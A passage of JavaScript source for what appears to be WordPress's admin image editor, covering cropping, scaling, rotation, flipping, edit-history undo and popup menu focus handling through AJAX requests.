				this.setCropSelection( postid, { 'x1': startX, 'y1': startY, 'x2': width, 'y2': height, 'width': width, 'height': height } );
				selection = this.iasapi.getSelection();
			}

			// If we don't already have a selection, select the entire image.
			if ( 0 === selection.x1 && 0 === selection.y1 && 0 === selection.x2 && 0 === selection.y2 ) {
				this.iasapi.setSelection( 0, 0, img.innerWidth(), img.innerHeight(), true );
				this.iasapi.setOptions( { show: true } );
				this.iasapi.update();
			} else {
				this.iasapi.setSelection( startX, startY, width, height, true );
				this.iasapi.setOptions( { show: true } );
				this.iasapi.update();
			}
		}
	},

	/**
	 * Handle crop tool clicks.
	 */
	handleCropToolClick: function( postid, nonce, cropButton ) {

		if ( cropButton.classList.contains( 'imgedit-crop-clear' ) ) {
			this.iasapi.cancelSelection();
			imageEdit.setDisabled($('.imgedit-crop-apply'), 0);

			$('#imgedit-sel-width-' + postid).val('');
			$('#imgedit-sel-height-' + postid).val('');
			$('#imgedit-start-x-' + postid).val('0');
			$('#imgedit-start-y-' + postid).val('0');
			$('#imgedit-selection-' + postid).val('');
		} else {
			// Otherwise, perform the crop.
			imageEdit.crop( postid, nonce , cropButton );
		}
	},

	/**
	 * Converts a value to an integer.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} f The float value that should be converted.
	 *
	 * @return {number} The integer representation from the float value.
	 */
	intval : function(f) {
		/*
		 * Bitwise OR operator: one of the obscure ways to truncate floating point figures,
		 * worth reminding JavaScript doesn't have a distinct "integer" type.
		 */
		return f | 0;
	},

	/**
	 * Adds the disabled attribute and class to a single form element or a field set.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {jQuery}         el The element that should be modified.
	 * @param {boolean|number} s  The state for the element. If set to true
	 *                            the element is disabled,
	 *                            otherwise the element is enabled.
	 *                            The function is sometimes called with a 0 or 1
	 *                            instead of true or false.
	 *
	 * @return {void}
	 */
	setDisabled : function( el, s ) {
		/*
		 * `el` can be a single form element or a fieldset. Before #28864, the disabled state on
		 * some text fields  was handled targeting $('input', el). Now we need to handle the
		 * disabled state on buttons too so we can just target `el` regardless if it's a single
		 * element or a fieldset because when a fieldset is disabled, its descendants are disabled too.
		 */
		if ( s ) {
			el.removeClass( 'disabled' ).prop( 'disabled', false );
		} else {
			el.addClass( 'disabled' ).prop( 'disabled', true );
		}
	},

	/**
	 * Initializes the image editor.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 *
	 * @return {void}
	 */
	init : function(postid) {
		var t = this, old = $('#image-editor-' + t.postid),
			x = t.intval( $('#imgedit-x-' + postid).val() ),
			y = t.intval( $('#imgedit-y-' + postid).val() );

		if ( t.postid !== postid && old.length ) {
			t.close(t.postid);
		}

		t.hold.w = t.hold.ow = x;
		t.hold.h = t.hold.oh = y;
		t.hold.xy_ratio = x / y;
		t.hold.sizer = parseFloat( $('#imgedit-sizer-' + postid).val() );
		t.postid = postid;
		$('#imgedit-response-' + postid).empty();

		$('#imgedit-panel-' + postid).on( 'keypress', function(e) {
			var nonce = $( '#imgedit-nonce-' + postid ).val();
			if ( e.which === 26 && e.ctrlKey ) {
				imageEdit.undo( postid, nonce );
			}

			if ( e.which === 25 && e.ctrlKey ) {
				imageEdit.redo( postid, nonce );
			}
		});

		$('#imgedit-panel-' + postid).on( 'keypress', 'input[type="text"]', function(e) {
			var k = e.keyCode;

			// Key codes 37 through 40 are the arrow keys.
			if ( 36 < k && k < 41 ) {
				$(this).trigger( 'blur' );
			}

			// The key code 13 is the Enter key.
			if ( 13 === k ) {
				e.preventDefault();
				e.stopPropagation();
				return false;
			}
		});

		$( document ).on( 'image-editor-ui-ready', this.focusManager );
	},

	/**
	 * Toggles the wait/load icon in the editor.
	 *
	 * @since 2.9.0
	 * @since 5.5.0 Added the triggerUIReady parameter.
	 *
	 * @memberof imageEdit
	 *
	 * @param {number}  postid         The post ID.
	 * @param {number}  toggle         Is 0 or 1, fades the icon in when 1 and out when 0.
	 * @param {boolean} triggerUIReady Whether to trigger a custom event when the UI is ready. Default false.
	 *
	 * @return {void}
	 */
	toggleEditor: function( postid, toggle, triggerUIReady ) {
		var wait = $('#imgedit-wait-' + postid);

		if ( toggle ) {
			wait.fadeIn( 'fast' );
		} else {
			wait.fadeOut( 'fast', function() {
				if ( triggerUIReady ) {
					$( document ).trigger( 'image-editor-ui-ready' );
				}
			} );
		}
	},

	/**
	 * Shows or hides image menu popup.
	 *
	 * @since 6.3.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {HTMLElement} el The activated control element.
	 *
	 * @return {boolean} Always returns false.
	 */
	togglePopup : function(el) {
		var $el = $( el );
		var $targetEl = $( el ).attr( 'aria-controls' );
		var $target = $( '#' + $targetEl );
		$el
			.attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' );
		// Open menu and set z-index to appear above image crop area if it is enabled.
		$target
			.toggleClass( 'imgedit-popup-menu-open' ).slideToggle( 'fast' ).css( { 'z-index' : 200000 } );
		// Move focus to first item in menu when opening menu.
		if ( 'true' === $el.attr( 'aria-expanded' ) ) {
			$target.find( 'button' ).first().trigger( 'focus' );
		}

		return false;
	},

	/**
	 * Observes whether the popup should remain open based on focus position.
	 *
	 * @since 6.4.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {HTMLElement} el The activated control element.
	 *
	 * @return {boolean} Always returns false.
	 */
	monitorPopup : function() {
		var $parent = document.querySelector( '.imgedit-rotate-menu-container' );
		var $toggle = document.querySelector( '.imgedit-rotate-menu-container .imgedit-rotate' );

		setTimeout( function() {
			var $focused = document.activeElement;
			var $contains = $parent.contains( $focused );

			// If $focused is defined and not inside the menu container, close the popup.
			if ( $focused && ! $contains ) {
				if ( 'true' === $toggle.getAttribute( 'aria-expanded' ) ) {
					imageEdit.togglePopup( $toggle );
				}
			}
		}, 100 );

		return false;
	},

	/**
	 * Navigate popup menu by arrow keys.
	 *
	 * @since 6.3.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {HTMLElement} el The current element.
	 *
	 * @return {boolean} Always returns false.
	 */
	browsePopup : function(el) {
		var $el = $( el );
		var $collection = $( el ).parent( '.imgedit-popup-menu' ).find( 'button' );
		var $index = $collection.index( $el );
		var $prev = $index - 1;
		var $next = $index + 1;
		var $last = $collection.length;
		if ( $prev < 0 ) {
			$prev = $last - 1;
		}
		if ( $next === $last ) {
			$next = 0;
		}
		var $target = false;
		if ( event.keyCode === 40 ) {
			$target = $collection.get( $next );
		} else if ( event.keyCode === 38 ) {
			$target = $collection.get( $prev );
		}
		if ( $target ) {
			$target.focus();
			event.preventDefault();
		}

		return false;
	},

	/**
	 * Close popup menu and reset focus on feature activation.
	 *
	 * @since 6.3.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {HTMLElement} el The current element.
	 *
	 * @return {boolean} Always returns false.
	 */
	closePopup : function(el) {
		var $parent = $(el).parent( '.imgedit-popup-menu' );
		var $controlledID = $parent.attr( 'id' );
		var $target = $( 'button[aria-controls="' + $controlledID + '"]' );
		$target
			.attr( 'aria-expanded', 'false' ).trigger( 'focus' );
		$parent
			.toggleClass( 'imgedit-popup-menu-open' ).slideToggle( 'fast' );

		return false;
	},

	/**
	 * Shows or hides the image edit help box.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {HTMLElement} el The element to create the help window in.
	 *
	 * @return {boolean} Always returns false.
	 */
	toggleHelp : function(el) {
		var $el = $( el );
		$el
			.attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' )
			.parents( '.imgedit-group-top' ).toggleClass( 'imgedit-help-toggled' ).find( '.imgedit-help' ).slideToggle( 'fast' );

		return false;
	},

	/**
	 * Shows or hides image edit input fields when enabled.
	 *
	 * @since 6.3.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {HTMLElement} el The element to trigger the edit panel.
	 *
	 * @return {boolean} Always returns false.
	 */
	toggleControls : function(el) {
		var $el = $( el );
		var $target = $( '#' + $el.attr( 'aria-controls' ) );
		$el
			.attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' );
		$target
			.parent( '.imgedit-group' ).toggleClass( 'imgedit-panel-active' );

		return false;
	},

	/**
	 * Gets the value from the image edit target.
	 *
	 * The image edit target contains the image sizes where the (possible) changes
	 * have to be applied to.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 *
	 * @return {string} The value from the imagedit-save-target input field when available,
	 *                  'full' when not selected, or 'all' if it doesn't exist.
	 */
	getTarget : function( postid ) {
		var element = $( '#imgedit-save-target-' + postid );

		if ( element.length ) {
			return element.find( 'input[name="imgedit-target-' + postid + '"]:checked' ).val() || 'full';
		}

		return 'all';
	},

	/**
	 * Recalculates the height or width and keeps the original aspect ratio.
	 *
	 * If the original image size is exceeded a red exclamation mark is shown.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number}         postid The current post ID.
	 * @param {number}         x      Is 0 when it applies the y-axis
	 *                                and 1 when applicable for the x-axis.
	 * @param {jQuery}         el     Element.
	 *
	 * @return {void}
	 */
	scaleChanged : function( postid, x, el ) {
		var w = $('#imgedit-scale-width-' + postid), h = $('#imgedit-scale-height-' + postid),
		warn = $('#imgedit-scale-warn-' + postid), w1 = '', h1 = '',
		scaleBtn = $('#imgedit-scale-button');

		if ( false === this.validateNumeric( el ) ) {
			return;
		}

		if ( x ) {
			h1 = ( w.val() !== '' ) ? Math.round( w.val() / this.hold.xy_ratio ) : '';
			h.val( h1 );
		} else {
			w1 = ( h.val() !== '' ) ? Math.round( h.val() * this.hold.xy_ratio ) : '';
			w.val( w1 );
		}

		if ( ( h1 && h1 > this.hold.oh ) || ( w1 && w1 > this.hold.ow ) ) {
			warn.css('visibility', 'visible');
			scaleBtn.prop('disabled', true);
		} else {
			warn.css('visibility', 'hidden');
			scaleBtn.prop('disabled', false);
		}
	},

	/**
	 * Gets the selected aspect ratio.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 *
	 * @return {string} The aspect ratio.
	 */
	getSelRatio : function(postid) {
		var x = this.hold.w, y = this.hold.h,
			X = this.intval( $('#imgedit-crop-width-' + postid).val() ),
			Y = this.intval( $('#imgedit-crop-height-' + postid).val() );

		if ( X && Y ) {
			return X + ':' + Y;
		}

		if ( x && y ) {
			return x + ':' + y;
		}

		return '1:1';
	},

	/**
	 * Removes the last action from the image edit history.
	 * The history consist of (edit) actions performed on the image.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid  The post ID.
	 * @param {number} setSize 0 or 1, when 1 the image resets to its original size.
	 *
	 * @return {string} JSON string containing the history or an empty string if no history exists.
	 */
	filterHistory : function(postid, setSize) {
		// Apply undo state to history.
		var history = $('#imgedit-history-' + postid).val(), pop, n, o, i, op = [];

		if ( history !== '' ) {
			// Read the JSON string with the image edit history.
			history = JSON.parse(history);
			pop = this.intval( $('#imgedit-undone-' + postid).val() );
			if ( pop > 0 ) {
				while ( pop > 0 ) {
					history.pop();
					pop--;
				}
			}

			// Reset size to its original state.
			if ( setSize ) {
				if ( !history.length ) {
					this.hold.w = this.hold.ow;
					this.hold.h = this.hold.oh;
					return '';
				}

				// Restore original 'o'.
				o = history[history.length - 1];

				// c = 'crop', r = 'rotate', f = 'flip'.
				o = o.c || o.r || o.f || false;

				if ( o ) {
					// fw = Full image width.
					this.hold.w = o.fw;
					// fh = Full image height.
					this.hold.h = o.fh;
				}
			}

			// Filter the last step/action from the history.
			for ( n in history ) {
				i = history[n];
				if ( i.hasOwnProperty('c') ) {
					op[n] = { 'c': { 'x': i.c.x, 'y': i.c.y, 'w': i.c.w, 'h': i.c.h } };
				} else if ( i.hasOwnProperty('r') ) {
					op[n] = { 'r': i.r.r };
				} else if ( i.hasOwnProperty('f') ) {
					op[n] = { 'f': i.f.f };
				}
			}
			return JSON.stringify(op);
		}
		return '';
	},
	/**
	 * Binds the necessary events to the image.
	 *
	 * When the image source is reloaded the image will be reloaded.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number}   postid   The post ID.
	 * @param {string}   nonce    The nonce to verify the request.
	 * @param {function} callback Function to execute when the image is loaded.
	 *
	 * @return {void}
	 */
	refreshEditor : function(postid, nonce, callback) {
		var t = this, data, img;

		t.toggleEditor(postid, 1);
		data = {
			'action': 'imgedit-preview',
			'_ajax_nonce': nonce,
			'postid': postid,
			'history': t.filterHistory(postid, 1),
			'rand': t.intval(Math.random() * 1000000)
		};

		img = $( '<img id="image-preview-' + postid + '" alt="" />' )
			.on( 'load', { history: data.history }, function( event ) {
				var max1, max2,
					parent = $( '#imgedit-crop-' + postid ),
					t = imageEdit,
					historyObj;

				// Checks if there already is some image-edit history.
				if ( '' !== event.data.history ) {
					historyObj = JSON.parse( event.data.history );
					// If last executed action in history is a crop action.
					if ( historyObj[historyObj.length - 1].hasOwnProperty( 'c' ) ) {
						/*
						 * A crop action has completed and the crop button gets disabled
						 * ensure the undo button is enabled.
						 */
						t.setDisabled( $( '#image-undo-' + postid) , true );
						// Move focus to the undo button to avoid a focus loss.
						$( '#image-undo-' + postid ).trigger( 'focus' );
					}
				}

				parent.empty().append(img);

				// w, h are the new full size dimensions.
				max1 = Math.max( t.hold.w, t.hold.h );
				max2 = Math.max( $(img).width(), $(img).height() );
				t.hold.sizer = max1 > max2 ? max2 / max1 : 1;

				t.initCrop(postid, img, parent);

				if ( (typeof callback !== 'undefined') && callback !== null ) {
					callback();
				}

				if ( $('#imgedit-history-' + postid).val() && $('#imgedit-undone-' + postid).val() === '0' ) {
					$('button.imgedit-submit-btn', '#imgedit-panel-' + postid).prop('disabled', false);
				} else {
					$('button.imgedit-submit-btn', '#imgedit-panel-' + postid).prop('disabled', true);
				}
				var successMessage = __( 'Image updated.' );

				t.toggleEditor(postid, 0);
				wp.a11y.speak( successMessage, 'assertive' );
			})
			.on( 'error', function() {
				var errorMessage = __( 'Could not load the preview image. Please reload the page and try again.' );

				$( '#imgedit-crop-' + postid )
					.empty()
					.append( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' );

				t.toggleEditor( postid, 0, true );
				wp.a11y.speak( errorMessage, 'assertive' );
			} )
			.attr('src', ajaxurl + '?' + $.param(data));
	},
	/**
	 * Performs an image edit action.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 * @param {string} nonce  The nonce to verify the request.
	 * @param {string} action The action to perform on the image.
	 *                        The possible actions are: "scale" and "restore".
	 *
	 * @return {boolean|void} Executes a post request that refreshes the page
	 *                        when the action is performed.
	 *                        Returns false if an invalid action is given,
	 *                        or when the action cannot be performed.
	 */
	action : function(postid, nonce, action) {
		var t = this, data, w, h, fw, fh;

		if ( t.notsaved(postid) ) {
			return false;
		}

		data = {
			'action': 'image-editor',
			'_ajax_nonce': nonce,
			'postid': postid
		};

		if ( 'scale' === action ) {
			w = $('#imgedit-scale-width-' + postid),
			h = $('#imgedit-scale-height-' + postid),
			fw = t.intval(w.val()),
			fh = t.intval(h.val());

			if ( fw < 1 ) {
				w.trigger( 'focus' );
				return false;
			} else if ( fh < 1 ) {
				h.trigger( 'focus' );
				return false;
			}

			if ( fw === t.hold.ow || fh === t.hold.oh ) {
				return false;
			}

			data['do'] = 'scale';
			data.fwidth = fw;
			data.fheight = fh;
		} else if ( 'restore' === action ) {
			data['do'] = 'restore';
		} else {
			return false;
		}

		t.toggleEditor(postid, 1);
		$.post( ajaxurl, data, function( response ) {
			$( '#image-editor-' + postid ).empty().append( response.data.html );
			t.toggleEditor( postid, 0, true );
			// Refresh the attachment model so that changes propagate.
			if ( t._view ) {
				t._view.refresh();
			}
		} ).done( function( response ) {
			// Whether the executed action was `scale` or `restore`, the response does have a message.
			if ( response && response.data.message.msg ) {
				wp.a11y.speak( response.data.message.msg );
				return;
			}

			if ( response && response.data.message.error ) {
				wp.a11y.speak( response.data.message.error );
			}
		} );
	},

	/**
	 * Stores the changes that are made to the image.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number}  postid   The post ID to get the image from the database.
	 * @param {string}  nonce    The nonce to verify the request.
	 *
	 * @return {boolean|void}  If the actions are successfully saved a response message is shown.
	 *                         Returns false if there is no image editing history,
	 *                         thus there are not edit-actions performed on the image.
	 */
	save : function(postid, nonce) {
		var data,
			target = this.getTarget(postid),
			history = this.filterHistory(postid, 0),
			self = this;

		if ( '' === history ) {
			return false;
		}

		this.toggleEditor(postid, 1);
		data = {
			'action': 'image-editor',
			'_ajax_nonce': nonce,
			'postid': postid,
			'history': history,
			'target': target,
			'context': $('#image-edit-context').length ? $('#image-edit-context').val() : null,
			'do': 'save'
		};
		// Post the image edit data to the backend.
		$.post( ajaxurl, data, function( response ) {
			// If a response is returned, close the editor and show an error.
			if ( response.data.error ) {
				$( '#imgedit-response-' + postid )
					.html( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + response.data.error + '</p></div>' );

				imageEdit.close(postid);
				wp.a11y.speak( response.data.error );
				return;
			}

			if ( response.data.fw && response.data.fh ) {
				$( '#media-dims-' + postid ).html( response.data.fw + ' &times; ' + response.data.fh );
			}

			if ( response.data.thumbnail ) {
				$( '.thumbnail', '#thumbnail-head-' + postid ).attr( 'src', '' + response.data.thumbnail );
			}

			if ( response.data.msg ) {
				$( '#imgedit-response-' + postid )
					.html( '<div class="notice notice-success" tabindex="-1" role="alert"><p>' + response.data.msg + '</p></div>' );

				wp.a11y.speak( response.data.msg );
			}

			if ( self._view ) {
				self._view.save();
			} else {
				imageEdit.close(postid);
			}
		});
	},

	/**
	 * Creates the image edit window.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid   The post ID for the image.
	 * @param {string} nonce    The nonce to verify the request.
	 * @param {Object} view     The image editor view to be used for the editing.
	 *
	 * @return {void|promise} Either returns void if the button was already activated
	 *                        or returns an instance of the image editor, wrapped in a promise.
	 */
	open : function( postid, nonce, view ) {
		this._view = view;

		var dfd, data,
			elem = $( '#image-editor-' + postid ),
			head = $( '#media-head-' + postid ),
			btn = $( '#imgedit-open-btn-' + postid ),
			spin = btn.siblings( '.spinner' );

		/*
		 * Instead of disabling the button, which causes a focus loss and makes screen
		 * readers announce "unavailable", return if the button was already clicked.
		 */
		if ( btn.hasClass( 'button-activated' ) ) {
			return;
		}

		spin.addClass( 'is-active' );

		data = {
			'action': 'image-editor',
			'_ajax_nonce': nonce,
			'postid': postid,
			'do': 'open'
		};

		dfd = $.ajax( {
			url:  ajaxurl,
			type: 'post',
			data: data,
			beforeSend: function() {
				btn.addClass( 'button-activated' );
			}
		} ).done( function( response ) {
			var errorMessage;

			if ( '-1' === response ) {
				errorMessage = __( 'Could not load the preview image.' );
				elem.html( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' );
			}

			if ( response.data && response.data.html ) {
				elem.html( response.data.html );
			}

			head.fadeOut( 'fast', function() {
				elem.fadeIn( 'fast', function() {
					if ( errorMessage ) {
						$( document ).trigger( 'image-editor-ui-ready' );
					}
				} );
				btn.removeClass( 'button-activated' );
				spin.removeClass( 'is-active' );
			} );
			// Initialize the Image Editor now that everything is ready.
			imageEdit.init( postid );
		} );

		return dfd;
	},

	/**
	 * Initializes the cropping tool and sets a default cropping selection.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 *
	 * @return {void}
	 */
	imgLoaded : function(postid) {
		var img = $('#image-preview-' + postid), parent = $('#imgedit-crop-' + postid);

		// Ensure init has run even when directly loaded.
		if ( 'undefined' === typeof this.hold.sizer ) {
			this.init( postid );
		}

		this.initCrop(postid, img, parent);
		this.setCropSelection( postid, { 'x1': 0, 'y1': 0, 'x2': 0, 'y2': 0, 'width': img.innerWidth(), 'height': img.innerHeight() } );

		this.toggleEditor( postid, 0, true );
	},

	/**
	 * Manages keyboard focus in the Image Editor user interface.
	 *
	 * @since 5.5.0
	 *
	 * @return {void}
	 */
	focusManager: function() {
		/*
		 * Editor is ready. Move focus to one of the admin alert notices displayed
		 * after a user action or to the first focusable element. Since the DOM
		 * update is pretty large, the timeout helps browsers update their
		 * accessibility tree to better support assistive technologies.
		 */
		setTimeout( function() {
			var elementToSetFocusTo = $( '.notice[role="alert"]' );

			if ( ! elementToSetFocusTo.length ) {
				elementToSetFocusTo = $( '.imgedit-wrap' ).find( ':tabbable:first' );
			}

			elementToSetFocusTo.attr( 'tabindex', '-1' ).trigger( 'focus' );
		}, 100 );
	},

	/**
	 * Initializes the cropping tool.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number}      postid The post ID.
	 * @param {HTMLElement} image  The preview image.
	 * @param {HTMLElement} parent The preview image container.
	 *
	 * @return {void}
	 */
	initCrop : function(postid, image, parent) {
		var t = this,
			selW = $('#imgedit-sel-width-' + postid),
			selH = $('#imgedit-sel-height-' + postid),
			selX = $('#imgedit-start-x-' + postid),
			selY = $('#imgedit-start-y-' + postid),
			$image = $( image ),
			$img;

		// Already initialized?
		if ( $image.data( 'imgAreaSelect' ) ) {
			return;
		}

		t.iasapi = $image.imgAreaSelect({
			parent: parent,
			instance: true,
			handles: true,
			keys: true,
			minWidth: 3,
			minHeight: 3,

			/**
			 * Sets the CSS styles and binds events for locking the aspect ratio.
			 *
			 * @ignore
			 *
			 * @param {jQuery} img The preview image.
			 */
			onInit: function( img ) {
				// Ensure that the imgAreaSelect wrapper elements are position:absolute
				// (even if we're in a position:fixed modal).
				$img = $( img );
				$img.next().css( 'position', 'absolute' )
					.nextAll( '.imgareaselect-outer' ).css( 'position', 'absolute' );
				/**
				 * Binds mouse down event to the cropping container.
				 *
				 * @return {void}
				 */
				parent.children().on( 'mousedown, touchstart', function(e){
					var ratio = false, sel, defRatio;

					if ( e.shiftKey ) {
						sel = t.iasapi.getSelection();
						defRatio = t.getSelRatio(postid);
						ratio = ( sel && sel.width && sel.height ) ? sel.width + ':' + sel.height : defRatio;
					}

					t.iasapi.setOptions({
						aspectRatio: ratio
					});
				});
			},

			/**
			 * Event triggered when starting a selection.
			 *
			 * @ignore
			 *
			 * @return {void}
			 */
			onSelectStart: function() {
				imageEdit.setDisabled($('#imgedit-crop-sel-' + postid), 1);
				imageEdit.setDisabled($('.imgedit-crop-clear'), 1);
				imageEdit.setDisabled($('.imgedit-crop-apply'), 1);
			},
			/**
			 * Event triggered when the selection is ended.
			 *
			 * @ignore
			 *
			 * @param {Object} img jQuery object representing the image.
			 * @param {Object} c   The selection.
			 *
			 * @return {Object}
			 */
			onSelectEnd: function(img, c) {
				imageEdit.setCropSelection(postid, c);
				if ( ! $('#imgedit-crop > *').is(':visible') ) {
					imageEdit.toggleControls($('.imgedit-crop.button'));
				}
			},

			/**
			 * Event triggered when the selection changes.
			 *
			 * @ignore
			 *
			 * @param {Object} img jQuery object representing the image.
			 * @param {Object} c   The selection.
			 *
			 * @return {void}
			 */
			onSelectChange: function(img, c) {
				var sizer = imageEdit.hold.sizer;
				selW.val( imageEdit.round(c.width / sizer) );
				selH.val( imageEdit.round(c.height / sizer) );
				selX.val( imageEdit.round(c.x1 / sizer) );
				selY.val( imageEdit.round(c.y1 / sizer) );
			}
		});
	},

	/**
	 * Stores the current crop selection.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 * @param {Object} c      The selection.
	 *
	 * @return {boolean}
	 */
	setCropSelection : function(postid, c) {
		var sel;

		c = c || 0;

		if ( !c || ( c.width < 3 && c.height < 3 ) ) {
			this.setDisabled( $( '.imgedit-crop', '#imgedit-panel-' + postid ), 1 );
			this.setDisabled( $( '#imgedit-crop-sel-' + postid ), 1 );
			$('#imgedit-sel-width-' + postid).val('');
			$('#imgedit-sel-height-' + postid).val('');
			$('#imgedit-start-x-' + postid).val('0');
			$('#imgedit-start-y-' + postid).val('0');
			$('#imgedit-selection-' + postid).val('');
			return false;
		}

		sel = { 'x': c.x1, 'y': c.y1, 'w': c.width, 'h': c.height };
		this.setDisabled($('.imgedit-crop', '#imgedit-panel-' + postid), 1);
		$('#imgedit-selection-' + postid).val( JSON.stringify(sel) );
	},


	/**
	 * Closes the image editor.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number}  postid The post ID.
	 * @param {boolean} warn   Warning message.
	 *
	 * @return {void|boolean} Returns false if there is a warning.
	 */
	close : function(postid, warn) {
		warn = warn || false;

		if ( warn && this.notsaved(postid) ) {
			return false;
		}

		this.iasapi = {};
		this.hold = {};

		// If we've loaded the editor in the context of a Media Modal,
		// then switch to the previous view, whatever that might have been.
		if ( this._view ){
			this._view.back();
		}

		// In case we are not accessing the image editor in the context of a View,
		// close the editor the old-school way.
		else {
			$('#image-editor-' + postid).fadeOut('fast', function() {
				$( '#media-head-' + postid ).fadeIn( 'fast', function() {
					// Move focus back to the Edit Image button. Runs also when saving.
					$( '#imgedit-open-btn-' + postid ).trigger( 'focus' );
				});
				$(this).empty();
			});
		}


	},

	/**
	 * Checks if the image edit history is saved.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 *
	 * @return {boolean} Returns true if the history is not saved.
	 */
	notsaved : function(postid) {
		var h = $('#imgedit-history-' + postid).val(),
			history = ( h !== '' ) ? JSON.parse(h) : [],
			pop = this.intval( $('#imgedit-undone-' + postid).val() );

		if ( pop < history.length ) {
			if ( confirm( $('#imgedit-leaving-' + postid).text() ) ) {
				return false;
			}
			return true;
		}
		return false;
	},

	/**
	 * Adds an image edit action to the history.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {Object} op     The original position.
	 * @param {number} postid The post ID.
	 * @param {string} nonce  The nonce.
	 *
	 * @return {void}
	 */
	addStep : function(op, postid, nonce) {
		var t = this, elem = $('#imgedit-history-' + postid),
			history = ( elem.val() !== '' ) ? JSON.parse( elem.val() ) : [],
			undone = $( '#imgedit-undone-' + postid ),
			pop = t.intval( undone.val() );

		while ( pop > 0 ) {
			history.pop();
			pop--;
		}
		undone.val(0); // Reset.

		history.push(op);
		elem.val( JSON.stringify(history) );

		t.refreshEditor(postid, nonce, function() {
			t.setDisabled($('#image-undo-' + postid), true);
			t.setDisabled($('#image-redo-' + postid), false);
		});
	},

	/**
	 * Rotates the image.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {string} angle  The angle the image is rotated with.
	 * @param {number} postid The post ID.
	 * @param {string} nonce  The nonce.
	 * @param {Object} t      The target element.
	 *
	 * @return {boolean}
	 */
	rotate : function(angle, postid, nonce, t) {
		if ( $(t).hasClass('disabled') ) {
			return false;
		}
		this.closePopup(t);
		this.addStep({ 'r': { 'r': angle, 'fw': this.hold.h, 'fh': this.hold.w }}, postid, nonce);
	},

	/**
	 * Flips the image.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} axis   The axle the image is flipped on.
	 * @param {number} postid The post ID.
	 * @param {string} nonce  The nonce.
	 * @param {Object} t      The target element.
	 *
	 * @return {boolean}
	 */
	flip : function (axis, postid, nonce, t) {
		if ( $(t).hasClass('disabled') ) {
			return false;
		}
		this.closePopup(t);
		this.addStep({ 'f': { 'f': axis, 'fw': this.hold.w, 'fh': this.hold.h }}, postid, nonce);
	},

	/**
	 * Crops the image.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 * @param {string} nonce  The nonce.
	 * @param {Object} t      The target object.
	 *
	 * @return {void|boolean} Returns false if the crop button is disabled.
	 */
	crop : function (postid, nonce, t) {
		var sel = $('#imgedit-selection-' + postid).val(),
			w = this.intval( $('#imgedit-sel-width-' + postid).val() ),
			h = this.intval( $('#imgedit-sel-height-' + postid).val() );

		if ( $(t).hasClass('disabled') || sel === '' ) {
			return false;
		}

		sel = JSON.parse(sel);
		if ( sel.w > 0 && sel.h > 0 && w > 0 && h > 0 ) {
			sel.fw = w;
			sel.fh = h;
			this.addStep({ 'c': sel }, postid, nonce);
		}

		// Clear the selection fields after cropping.
		$('#imgedit-sel-width-' + postid).val('');
		$('#imgedit-sel-height-' + postid).val('');
		$('#imgedit-start-x-' + postid).val('0');
		$('#imgedit-start-y-' + postid).val('0');
	},

	/**
	 * Undoes an image edit action.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid   The post ID.
	 * @param {string} nonce    The nonce.
	 *
	 * @return {void|false} Returns false if the undo button is disabled.
	 */
	undo : function (postid, nonce) {
		var t = this, button = $('#image-undo-' + postid), elem = $('#imgedit-undone-' + postid),
			pop = t.intval( elem.val() ) + 1;

		if ( button.hasClass('disabled') ) {
			return;
		}

		elem.val(pop);
		t.refreshEditor(postid, nonce, function() {
			var elem = $('#imgedit-history-' + postid),
				history = ( elem.val() !== '' ) ? JSON.parse( elem.val() ) : [];

			t.setDisabled($('#image-redo-' + postid), true);
			t.setDisabled(button, pop < history.length);
			// When undo gets disabled, move focus to the redo button to avoid a focus loss.
			if ( history.length === pop ) {
				$( '#image-redo-' + postid ).trigger( 'focus' );
			}
		});
	},

	/**
	 * Reverts a undo action.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 * @param {string} nonce  The nonce.
	 *
	 * @return {void}
	 */
	redo : function(postid, nonce) {
